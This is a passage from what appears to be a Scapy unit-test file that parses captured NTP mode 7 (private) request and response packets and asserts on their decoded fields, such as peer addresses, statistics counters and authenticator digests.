b'\x97\x00\x03\x02\x00\x01\x01\x18\xc0\xa8zf\xc0\xa8ze\x00{\x01\x03\x01\x00\x10\x06\n\xea\x04\x00\x00\xaf"\x00"\x16\x04\xb3\x01\x00\x00\x00\x00\x00\x00\x00INIT\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x82\x9d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb<\x8d\xc5\xde\x7fB\x89\xdb<\x8d\xc5\xde\x7fB\x89\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.version == 2 assert p.mode == 7 assert p.request_code == 2 assert isinstance(p.data[0], NTPInfoPeer) repr(p.data[0]) assert p.data[0].dstaddr == "192.168.122.102" assert p.data[0].srcaddr == "192.168.122.101" assert p.data[0].srcport == 123 assert p.data[0].associd == 1203 assert p.data[0].keyid == 1 = NTP Private (mode 7) - REQ_PEER_LIST_SUM (1) - request s = b'\x17\x00\x03\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 1 = NTP Private (mode 7) - REQ_PEER_LIST_SUM (2) - response (1st packet) s = b'\xd7\x00\x03\x01\x00\x06\x00H\n\x00\x02\x0f\xc0\x00\x02\x01\x00{\x10\x06\n\x00\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\x0f\xc0\x00\x02\x02\x00{\x10\x06\n\x00\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x01\x02\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\x0f\xc0\xa8d\x01\x00{\x10\x07\n\x00\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth0\xc0\xa8zg\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\x0f\xc0\xa8d\x02\x00{\x10\x07\n\x00\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x02\xc0\xa8zh\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\n\x00\x02\x0f\xc0\xa8d\r\x00{\x10\x07\n\x00\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8zk\x00{\x01\x01\xc0\xa8ze\xc0\xa8zf\x00{\x0b\x06\x07\xf4\x83\x01\x00\x00\x07\x89\x00\x00\x00\x007\xb1\x00h\x00\x00o?\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8zm\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 1 assert p.version == 2 assert p.mode == 7 assert p.request_code == 1 assert (isinstance(x, NTPInfoPeerSummary) for x in p.data) assert p.data[0].srcaddr == "192.0.2.1" = NTP Private (mode 7) - REQ_PEER_LIST_SUM (3) - response (2nd packet) s = b'\xd7\x01\x03\x01\x00\x06\x00H\xc0\xa8ze\xc0\xa8zg\x00{\x10\x08\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8ze\xc0\xa8zg\x00{\x10\x08\n\x00\x11\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x01\x02\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8ze\xc0\xa8zh\x00{\x10\x08\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth0\xc0\xa8zg\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8ze\xc0\xa8zi\x00{\x10\x07\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x02\xc0\xa8zh\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xc0\xa8ze\xc0\xa8zj\x00{\x10\x07\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8zk\x00{\x01\x01\xc0\xa8ze\xc0\xa8zk\x00{\x10\x07\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8zm\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 1 assert p.version == 2 assert p.mode == 7 assert p.request_code == 1 assert (isinstance(x, NTPInfoPeerSummary) for x in p.data) assert p.data[0].srcaddr == "192.168.122.103" = NTP Private (mode 7) - REQ_PEER_LIST_SUM (3) - response (3rd packet) s = b'\x97\x02\x03\x01\x00\x02\x00H\xc0\xa8ze\xc0\xa8zl\x00{\x10\x07\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8ze\xc0\xa8zm\x00{\x10\x07\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x01\x02\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 1 assert (isinstance(x, NTPInfoPeerSummary) for x in p.data) assert p.data[0].srcaddr == "192.168.122.108" = NTP Private (mode 7) - REQ_PEER_STATS (1) - request s = b'\x17\x00\x03\x03\x00\x01\x00 \xc0\xa8ze\x00{\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 3 assert isinstance(p.req_data[0], NTPInfoPeerList) = NTP Private (mode 7) - REQ_PEER_STATS (2) - response s = b'\x97\x00\x03\x03\x00\x01\x00x\xc0\xa8zf\xc0\xa8ze\x00{\x00\x01\x01\x00\x10\x06\x00\x00\x00)\x00\x00\x00\x1e\x00\x02\xda|\x00\x00\x00\xbc\x00\x00\x00\x00\x00\x00\x0b\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\nJ\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x07\x00\x00\x00\x00\xde\x7fB\x89\x00<\x8d\xc5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 3 assert (isinstance(x, NTPInfoPeerStats) for x in p.data) = NTP Private (mode 7) - REQ_SYS_INFO (1) - request s = b'\x17\x00\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 4 = NTP Private (mode 7) - REQ_SYS_INFO (2) - response s = b'\x97\x00\x03\x04\x00\x01\x00P\x7f\x7f\x01\x00\x03\x00\x0b\xf0\x00\x00\x00\x00\x00\x00\x03\x06\x7f\x7f\x01\x00\xdb<\xca\xf3\xa1\x92\xe1\xf7\x06\x00\x00\x00\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x07\x00\x00\x00\x00\xde\x7fB\x89\x00<\x8d\xc5' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 4 assert isinstance(p.data[0], NTPInfoSys) assert p.data[0].peer == "127.127.1.0" assert p.data[0].peer_mode == 3 assert p.data[0].leap == 0 assert p.data[0].stratum == 11 assert p.data[0].precision == -16 assert p.data[0].refid == "127.127.1.0" = NTP Private (mode 7) - REQ_SYS_STATS (1) - request s = b'\x17\x00\x03\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 5 = NTP Private (mode 7) - REQ_SYS_STATS (2) - response s = b'\x97\x00\x03\x05\x00\x01\x00,\x00\x02\xe2;\x00\x02\xe2;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b%\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b%\x00\x00\x00\x00\x00\x00\x0b=\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 5 assert isinstance(p.data[0], NTPInfoSysStats) assert p.data[0].timeup == 188987 assert p.data[0].received == 2877 = NTP Private (mode 7) - REQ_IO_STATS (1) - request s = b'\x17\x00\x03\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 6 = NTP Private (mode 7) - REQ_IO_STATS (2) - response s = b'\x97\x00\x03\x06\x00\x01\x00(\x00\x00\x03\x04\x00\n\x00\t\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00J\x00\x00\x00\xd9\x00\x00\x00\x00\x00\x00\x00J\x00\x00\x00J' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 6 assert p.data[0].timereset == 772 assert p.data[0].sent == 217 = NTP Private (mode 7) - REQ_MEM_STATS (1) - request s = b'\x17\x00\x03\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 7 = NTP Private (mode 7) - REQ_MEM_STATS (2) - response s = b'\x97\x00\x03\x07\x00\x01\x00\x94\x00\x00\n\xee\x00\x0f\x00\r\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 7 assert p.data[0].timereset == 2798 assert p.data[0].totalpeermem == 15 assert p.data[0].freepeermem == 13 assert p.data[0].findpeer_calls == 60 assert p.data[0].hashcount[25] == 1 and p.data[0].hashcount[89] == 1 = NTP Private (mode 7) - REQ_LOOP_INFO (1) - request s = b'\x17\x00\x03\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 8 = NTP Private (mode 7) - REQ_LOOP_INFO (2) - response s = b'\x97\x00\x03\x08\x00\x01\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x04' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 8 assert p.data[0].last_offset == 0.0 assert p.data[0].watchdog_timer == 4 = NTP Private (mode 7) - REQ_TIMER_STATS (1) - request s = b'\x17\x00\x03\t\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 9 = NTP Private (mode 7) - REQ_TIMER_STATS (2) - response s = b'\x97\x00\x03\t\x00\x01\x00\x10\x00\x00\x01h\x00\x00\x01h\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 9 assert p.data[0].timereset == 360 assert p.data[0].alarms == 360 = NTP Private (mode 7) - REQ_CONFIG (1) - request s = b'\x17\x80\x03\n\x00\x01\x00\xa8\xc0\xa8zm\x01\x03\x06\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xec\x93\xb1\xa8\xa0a\x00\x00\x00\x01Z\xba\xfe\x01\x1cr\x05d\xa1\x14\xb1)\xe9vD\x8d' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 10 assert p.nb_items == 1 assert p.data_item_size == 168 assert hasattr(p, 'req_data') assert isinstance(p.req_data[0], NTPConfPeer) assert p.req_data[0].peeraddr == "192.168.122.109" assert p.req_data[0].hmode == 1 assert p.req_data[0].version == 3 assert p.req_data[0].minpoll == 6 assert p.req_data[0].maxpoll == 10 assert hasattr(p, 'authenticator') assert p.authenticator.key_id == 1 assert bytes_hex(p.authenticator.dgst) == b'5abafe011c720564a114b129e976448d' = NTP Private (mode 7) - REQ_CONFIG (2) - response s = b'\x97\x00\x03\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.auth == 0 assert p.request_code == 10 assert p.err == 0 assert p.nb_items == 0 assert p.data_item_size == 0 = NTP Private (mode 7) - REQ_UNCONFIG (1) - request s = b'\x17\x80\x03\x0b\x00\x01\x00\x18\xc0\xa8zk\x00\x00\x00\x00X\x88P\xb1\xff\x7f\x00\x008\x88P\xb1\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xf0\x1bq\xc8\xe5\xa6\x00\x00\x00\x01\x1dM;\xfeZ~]Z\xe3Ea\x92\x9aE\xd8%' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 11 assert p.nb_items == 1 assert p.data_item_size == 24 assert hasattr(p, 'req_data') assert isinstance(p.req_data[0], NTPConfUnpeer) assert p.req_data[0].peeraddr == "192.168.122.107" assert p.req_data[0].v6_flag == 0 assert hasattr(p, 'authenticator') assert p.authenticator.key_id == 1 assert bytes_hex(p.authenticator.dgst) == b'1d4d3bfe5a7e5d5ae34561929a45d825' = NTP Private (mode 7) - REQ_UNCONFIG (2) - response s = b'\x97\x00\x03\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.more == 0 assert p.version == 2 assert p.mode == 7 assert p.auth == 0 assert p.request_code == 11 assert p.err == 0 assert p.nb_items == 0 assert p.data_item_size == 0 = NTP Private (mode 7) - 